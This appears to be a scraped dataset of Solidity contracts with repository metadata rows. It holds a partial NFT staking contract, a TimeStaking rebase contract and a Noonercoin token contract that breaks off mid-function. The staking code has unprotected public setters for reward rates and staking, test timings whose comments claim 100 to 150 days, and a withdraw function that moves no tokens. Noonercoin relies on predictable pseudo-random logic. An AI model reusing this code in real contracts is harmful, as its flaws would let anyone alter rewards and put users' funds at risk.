function transferFrom(address from,address to,uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from,address to,uint256 tokenId,bytes calldata data) external;
function getFreeMintingTime(uint256 tokenId) external view returns(uint256);
function getDutchMintingTime(uint256 tokenId) external view returns(uint256);
function getIdType(uint256 tokenId) external view returns(uint256);
}
interface AA{
function getFreeMintingTime(uint256 tokenId) external view returns(uint256);
function getDutchMintingTime(uint256 tokenId) external view returns(uint256);
function getIdType(uint256 tokenId) external view returns(uint256);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Staking{
using SafeMath for uint256;
IERC20 public Token;
IERC721 public NFT;
constructor (IERC721 NFT_, IERC20 token_){
NFT = NFT_;
Token = token_;
}
///////////////////////////////////////////////////////////////
uint256 public slotTime = 1 minutes;
// uint256 public slotTime = 15 seconds;
// uint256 public rewTime = 1 days;
uint256 public rewTime = 1440 minutes; // 1 day
uint256 public RewardPerMinut = 6944444444444400; // reward for Pre/Public sale
uint256 public rewPerMinutForFreeMint = 13888888888888900; // 20 token/day
// uint256 public rewPerMinutForFreeMint = 0;
uint256 public rewPerMinutForDutchMint = 69444444444444400; // 100 token/day
// uint256 public rewPerMinutForDutchMint = 0;
uint256 public RewardPerNFT = 10; // 10 token/day for pre/public sale
// uint256 public finalTimeForFreeMint = 100 days;
uint256 public finalTimeForFreeMint = 2 minutes; // 150 days
uint256 public finalTimeForDutchMint = 2 minutes; // 100 days
// uint256 public maxNoOfdaysForFreeMint = 216000;
uint256 public maxNoOfdaysForFreeMint = 5;
// uint256 public maxNoOfdaysForDutchMint = 144000;
uint256 public maxNoOfdaysForDutchMint = 5;
uint256 public bonusReward = 300000000000000000000;
struct User
{
uint256 TotalWithdrawn;
uint256 TotalStaked;
}
/////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////
mapping(address => uint256[]) public lockedTokenIds;
mapping(address => mapping(uint256 => uint256)) public lockedStakingTime;
mapping(address => User) public UserInfo;
mapping(address=>uint256) public lockedTotalStakedNft;
mapping (uint256 => bool) public alreadyAwarded;
mapping(address => mapping(uint256 => uint256)) public rewardedAmount;
// =============================================================
// =============================================================
function lockedStaking(address _user, uint256 tokenId) public {
lockedTokenIds[_user].push(tokenId);
lockedStakingTime[_user][tokenId] = block.timestamp;
UserInfo[_user].TotalStaked += 1;
lockedTotalStakedNft[_user] += 1;
}
/////////////////////////////////////////////////////////////////
function calcTime(uint256 tokenID) public view returns(uint256) {
uint256 rewardTime;
if(NFT.getIdType(tokenID) == 1){
// if(getType(tokenID) == 1){
rewardTime += (block.timestamp.sub(NFT.getFreeMintingTime(tokenID))).div(slotTime);
if(rewardTime >= maxNoOfdaysForFreeMint){
rewardTime = maxNoOfdaysForFreeMint;
}
}
else if(NFT.getIdType(tokenID) == 2){
rewardTime += (block.timestamp.sub(NFT.getDutchMintingTime(tokenID))).div(slotTime);
if(rewardTime >= maxNoOfdaysForDutchMint){
rewardTime = maxNoOfdaysForDutchMint;
}
}
// else{
// rewardTime += (block.timestamp.sub(lockedStakingTime[msg.sender][tokenID])).div(slotTime);
// }
return rewardTime;
}
function lockedReward(uint256 tokenId) public view returns(uint256){
uint256 reward;
address _user = msg.sender;
uint256 noOfDays = calcTime(tokenId);
if(NFT.getIdType(tokenId) == 1){
reward += (noOfDays).mul(rewPerMinutForFreeMint);
}
else if(NFT.getIdType(tokenId) == 2){
reward += (noOfDays).mul(rewPerMinutForDutchMint);
}
// else{
// reward += ((noOfDays).mul(RewardPerNFT).mul(1 ether)).div(rewTime);
// }
// return reward - UserInfo[msg.sender].TotalWithdrawn;
return reward - rewardedAmount[_user][tokenId];
}
function lockedWithdrawReward(uint256 tokenId) public {
address _user = msg.sender;
uint256 reward = lockedReward(tokenId);
rewardedAmount[_user][tokenId] += reward;
if(NFT.getIdType(tokenId) == 1 || NFT.getIdType(tokenId) == 2){
if(!alreadyAwarded[NFT.getIdType(tokenId)]){
reward += bonusReward;
alreadyAwarded[NFT.getIdType(tokenId)] = true; // true the tokenId type
}
}
// Token.tranfer(user, reward);
UserInfo[_user].TotalWithdrawn += reward;
}
// this will use in single reward function for presale and public sale mint
function getTokenIdTime(uint256 tokenId) public view returns(uint256){
uint256 MintTime;
if(NFT.getIdType(tokenId) == 1){
MintTime = NFT.getFreeMintingTime(tokenId);
}
else if(NFT.getIdType(tokenId) == 2){
MintTime = NFT.getDutchMintingTime(tokenId);
}
return MintTime;
}
function singleUnStakeLocked(uint256 tokenId) public {
address _user = msg.sender;
uint256 _index = findIndex(tokenId);
require(block.timestamp
>getTokenIdTime(tokenId)
+finalTimeForFreeMint,
"time not reached for free minting");
require(block.timestamp
>getTokenIdTime(tokenId)
+ finalTimeForDutchMint,
"time not reached for dutch minting");
NFT.transferFrom(address(this), address(_user), lockedTokenIds[_user][_index]);
delete lockedTokenIds[_user][_index];
lockedTokenIds[_user][_index] = lockedTokenIds[_user][lockedTokenIds[_user].length - 1];
lockedTokenIds[_user].pop();
UserInfo[_user].TotalStaked -= 1;
lockedTotalStakedNft[_user]>0?lockedTotalStakedNft[_user] -= 1 : lockedTotalStakedNft[_user]=0;
}
function lockedUnstakeAll() public {
address _user = msg.sender;
uint256 _index;
(uint256[] memory tokenIds, uint256 reward) = getIds(_user);
require(tokenIds.length > 0, "you have no Id to unstake");
Token.transfer(_user, reward);
for(uint256 i; i< tokenIds.length; i++){
_index = findIndex(tokenIds[i]);
NFT.transferFrom(address(this), address(_user), lockedTokenIds[_user][_index]);
delete lockedTokenIds[_user][_index];
lockedTokenIds[_user][_index] = lockedTokenIds[_user][lockedTokenIds[_user].length - 1];
lockedTokenIds[_user].pop();
UserInfo[_user].TotalStaked -= 1;
lockedTotalStakedNft[_user]>0?lockedTotalStakedNft[_user] -= 1 : lockedTotalStakedNft[_user]=0;
}
}
function getIds(address _user) public view returns(uint256[] memory, uint256){
uint256[] memory tokenIds = new uint256[](getTotalIds(_user).length);
uint256 reward;
// uint256 _type;
// uint256 _index;
for (uint256 i=0; i< getTotalIds(_user).length; i++){
// _index = findIndex(tokenIds[i]);
// _type = getIDType(lockedTokenIds[_user][i]);
// if(_type == 1 || _type == 2){
// if(NFT.getIdType(tokenIds[i]) == 1 || NFT.getIdType(tokenIds[i]) == 2){
if(calcTime(lockedTokenIds[_user][i]) == maxNoOfdaysForFreeMint
||
calcTime(lockedTokenIds[_user][i]) == maxNoOfdaysForDutchMint)
{
tokenIds[i] = lockedTokenIds[_user][i];
reward += lockedReward(tokenIds[i]);
}
// }
// else{
// tokenIds[i] = lockedTokenIds[_user][i];
// reward += lockedReward(tokenIds[i]);
// }
}
return (tokenIds, reward);
}
// ============================================================
// ============================================================
function setFreeMintReward(uint256 tokenIdReward) public {
rewPerMinutForFreeMint = ((tokenIdReward).mul(1 ether)).div(1440);
}
function setDutchMintReward(uint256 tokenIdReward) public {
rewPerMinutForDutchMint = ((tokenIdReward).mul(1 ether)).div(1440);
}
function setPrePublicReward(uint256 tokenIdReward) public {
RewardPerNFT = tokenIdReward;
}
function getIDType(uint256 tokenId) public view returns(uint256){
return NFT.getIdType(tokenId);
}
function getTotalIds(address _user) public view returns(uint256[] memory){
return lockedTokenIds[_user];
}
function findIndex(uint256 value) public view returns(uint256){
uint256 i = 0;
while(lockedTokenIds[msg.sender][i] != value){
i++;
}
return i;
}
//////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////
struct user
{
uint256 totlaWithdrawn;
uint256 myNFT;
uint256 availableToWithdraw;
}
mapping(address => mapping(uint256 => uint256)) public userStakingTime;
mapping(address => user) public User_Info;
mapping(address => uint256[]) public userTokenIds;
mapping(address=>uint256) public TotalUserStakedNft;
mapping(uint256=>bool) public userAlreadyAwarded;
mapping(address=>mapping(uint256=>uint256)) public normalDepositTime;
// mapping(address => mapping(uint256 => uint256)) public rewardedAmount;
///////////////////////////////////////////////////////////////////////
function Stake(uint256[] memory tokenId) external
{
for(uint256 i=0;i<tokenId.length;i++){
require(NFT.ownerOf(tokenId[i]) == msg.sender,"nft not found");
NFT.transferFrom(msg.sender,address(this),tokenId[i]);
userTokenIds[msg.sender].push(tokenId[i]);
userStakingTime[msg.sender][tokenId[i]]=block.timestamp;
if(!userAlreadyAwarded[tokenId[i]]){
normalDepositTime[msg.sender][tokenId[i]]=block.timestamp;
}
}
User_Info[msg.sender].myNFT += tokenId.length;
TotalUserStakedNft[msg.sender]+=tokenId.length;
}
function normalCalcTime(uint256 tokenId) public view returns(uint256){
uint256 timeSlot = ((block.timestamp).sub(userStakingTime[msg.sender][tokenId])).div(slotTime);
return timeSlot;
}
function userSingleReward(uint256 tokenId) public view returns(uint256){
uint256 reward;
address _user = msg.sender;
uint256 timeSlot = normalCalcTime(tokenId);
// reward += ((timeSlot).mul(10).mul(1 ether)).div(rewTime);
reward += (timeSlot).mul(RewardPerMinut);
return reward - rewardedAmount[_user][tokenId];
}
function userTotalReward(address _user) public view returns(uint256) {
uint256[] memory tokenIds = userStakedNFT(_user);
uint256 reward;
for(uint256 i; i< tokenIds.length; i++){
reward += userSingleReward(tokenIds[i]);
}
return reward;
}
function WithdrawReward(uint256 TokenId) public {
address _user = msg.sender;
uint256 reward = userSingleReward(TokenId);
require(reward > 0,"you don't have reward yet!");
Token.transfer(_user,reward);
rewardedAmount[_user][TokenId] += reward;
User_Info[msg.sender].totlaWithdrawn += reward;
for(uint256 i = 0 ; i < userTokenIds[_user].length ; i++){
userAlreadyAwarded[userTokenIds[_user][i]]=true;
}
}
function find(uint value) public view returns(uint) {
uint i = 0;
while (userTokenIds[msg.sender][i] != value) {
i++;
}
return i;
}
function unstake(uint256 _tokenId) external
{
WithdrawReward(_tokenId);
uint256 _index=find(_tokenId);
require(userTokenIds[msg.sender][_index] ==_tokenId ,"NFT with this _tokenId not found");
NFT.transferFrom(address(this),msg.sender,_tokenId);
delete userTokenIds[msg.sender][_index];
userTokenIds[msg.sender][_index]=userTokenIds[msg.sender][userTokenIds[msg.sender].length-1];
userStakingTime[msg.sender][_tokenId]=0;
userTokenIds[msg.sender].pop();
User_Info[msg.sender].myNFT -= 1;
TotalUserStakedNft[msg.sender] > 0 ? TotalUserStakedNft[msg.sender] -= 1 : TotalUserStakedNft[msg.sender]=0;
// emit unstakeSingle(msg.sender, _tokenId);
}
function unStakeAll(uint256[] memory _tokenIds) external
{
for(uint256 i=0;i<_tokenIds.length;i++){
uint256 _index=find(_tokenIds[i]);
require(userTokenIds[msg.sender][_index] ==_tokenIds[i] ,"NFT with this _tokenId not found");
WithdrawReward(_tokenIds[i]);
NFT.transferFrom(address(this), msg.sender, _tokenIds[i]);
delete userTokenIds[msg.sender][_index];
userTokenIds[msg.sender][_index ] = userTokenIds[msg.sender][userTokenIds[msg.sender].length-1];
userTokenIds[msg.sender].pop();
userStakingTime[msg.sender][_tokenIds[i]]=0;
}
User_Info[msg.sender].myNFT -= _tokenIds.length;
TotalUserStakedNft[msg.sender]>0?TotalUserStakedNft[msg.sender] -= _tokenIds.length:TotalUserStakedNft[msg.sender]=0;
}
function isNormalStaked(address _stakeHolder)public view returns(bool){
if(TotalUserStakedNft[_stakeHolder]>0){
return true;
}else{
return false;
}
}
function userStakedNFT(address _staker)public view returns(uint256[] memory) {
return userTokenIds[_staker];
}
}
| 107,789 | 584 |
2e8abf931198ed8fa88f6282c9bd96c675189e8c1f409f4a34a6a8736efaea2e
| 27,363 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/0d/0DbDA6611997c0E09e35ce2D6054243593aa4E3A_TimeStaking.sol
| 4,198 | 16,940 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TimeStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 96,653 | 585 |
d0facebe0cfee2f425aa8cdd03794e438a75e9244e7e0ffa4f8a4773806454c0
| 13,495 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/a6/a6E1c113186cc71Dc0AE2616cAe2456e377e462b_Noonercoin.sol
| 3,458 | 12,518 |
pragma solidity ^0.5.0;
contract ERC20 {
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
}
}
contract Noonercoin is ERC20{
uint256 startTime;
uint256 mintingRateNoonerCoin;
uint256 mintingRateNoonerWei;
uint256 lastMintingTime;
address adminAddress;
bool isNewCycleStart = false;
uint8[] __randomVariable = [150, 175, 200, 225];// remove last
uint8[] __remainingRandomVariable = [150, 175, 200, 225];// remove last value
uint8[] tempRemainingRandomVariable;
mapping (uint256 => uint256) occuranceOfRandonNumber;
uint256 weekStartTime = 0;
mapping (address => uint256) noonercoin;
mapping (address => uint256) noonerwei;
uint256 totalWeiBurned = 0;
uint256 totalCycleLeft = 20;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private _decimal;
uint256 private _frequency;// 2 min
uint256 private _cycleTime = 86400;// no of sec in one day
constructor(uint256 totalSupply_, string memory tokenName_, string memory tokenSymbol_,uint256 decimal_, uint256 mintingRateNoonerCoin_, uint256 frequency_) public ERC20("XDC","XDC"){
_totalSupply = totalSupply_;
_name = tokenName_;
_symbol = tokenSymbol_;
_decimal = decimal_;
mintingRateNoonerCoin = mintingRateNoonerCoin_;
_frequency = frequency_;
adminAddress = msg.sender;
mintingRateNoonerWei = 0;
startTime = now;
}
function _transfer(address recipient, uint256 amount) public {
address sender = msg.sender;
uint256 senderBalance = noonercoin[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
noonercoin[sender] = senderBalance - amount;
noonercoin[recipient] += amount;
}
function balanceOf(address account) public view returns (uint256) {
return noonercoin[account];
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimal;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function getStartTime() public view returns(uint256){
return startTime;
}
function mintToken(address add) public returns (bool) { //admin only
require(msg.sender == adminAddress, "Only owner can do this");
uint256 weiAfterMint = noonerwei[add] + mintingRateNoonerWei;
uint256 noonerCoinExtractedFromWei = 0;
//logic to add wei in noonercoin, if wei value is greater than or equal to 10**18
if(weiAfterMint >= 10**18){
weiAfterMint = weiAfterMint - 10**18;
noonerCoinExtractedFromWei = 1;
}
if(now-weekStartTime>3600){//change 1hr sec = 3600 sec
popRandomVariable();
weekStartTime=0;
}
//burn the tokens before minting
if(isNewCycleStart){
uint256 randomValue = randomVariablePicker();
if(randomValue != 150){
burnToken();
isNewCycleStart = false;
}
}
noonercoin[add] = noonercoin[add] + mintingRateNoonerCoin + noonerCoinExtractedFromWei;
noonerwei[add] = weiAfterMint;
lastMintingTime = now;
uint256 timeDiff = now - startTime;
uint256 fromTime = _cycleTime - _frequency; //72576000
if(timeDiff > fromTime){ //120weeks - 120seconds
if(timeDiff < _cycleTime){//120 weeks
uint256 _randomValue = randomVariablePicker();
isNewCycleStart = true;
totalCycleLeft = totalCycleLeft - 1;
//fetch random number from outside
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
mintingRateNoonerCoin = getIntegerVaue(flag, _randomValue, 1);
mintingRateNoonerWei = getDecimalVaue(flag, _randomValue, 1);
startTime = startTime + _cycleTime;
//reset random variable logic
__remainingRandomVariable = __randomVariable;
delete tempRemainingRandomVariable;
}
}
return true;
}
function popRandomVariable() public returns(bool){
uint256 randomNumber = randomVariablePicker();
if(occuranceOfRandonNumber[randomNumber]>=6){//we need to reduce the random variable array to 4 & we need to edit 24 to 6.
//remove variable
uint256 _index;
for(uint256 index=0;index<=__remainingRandomVariable.length;index++){
if(__remainingRandomVariable[index]==randomNumber){
_index = index;
break;
}
}
delete __remainingRandomVariable[_index];
__remainingRandomVariable[_index] = __remainingRandomVariable[__remainingRandomVariable.length-1];
for(uint256 index=0;index<__remainingRandomVariable.length-1;index++){
tempRemainingRandomVariable[index]= __remainingRandomVariable[index];
}
__remainingRandomVariable = tempRemainingRandomVariable;
}
if(occuranceOfRandonNumber[randomNumber]<6){//same as line 153
occuranceOfRandonNumber[randomNumber] = occuranceOfRandonNumber[randomNumber]+1;
}
return true;
}
function burnToken() internal returns(bool){
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
uint256 signmaValueCoin = 0;
uint256 signmaValueWei = 0;
for(uint256 index=1;index<=totalCycleLeft;index++){
uint256 intValue = getIntegerVaue(flag * 604800, 150 ** index, index);
uint256 intDecimalValue = getDecimalVaue(flag * 604800, 150 ** index, index);
signmaValueCoin = signmaValueCoin + intValue;
signmaValueWei = signmaValueWei + intDecimalValue;
}
signmaValueWei = signmaValueWei + signmaValueCoin * 10**18;
uint256 iterationsInOneCycle = _cycleTime/_frequency;
uint256 totalMintedTokens = noonercoin[adminAddress]*10**18 + noonerwei[adminAddress] + totalWeiBurned +
iterationsInOneCycle * mintingRateNoonerCoin * 10**18 + iterationsInOneCycle*mintingRateNoonerWei;
uint256 weiToBurned = 23000000*10**18 - (totalMintedTokens + signmaValueWei) - totalWeiBurned;
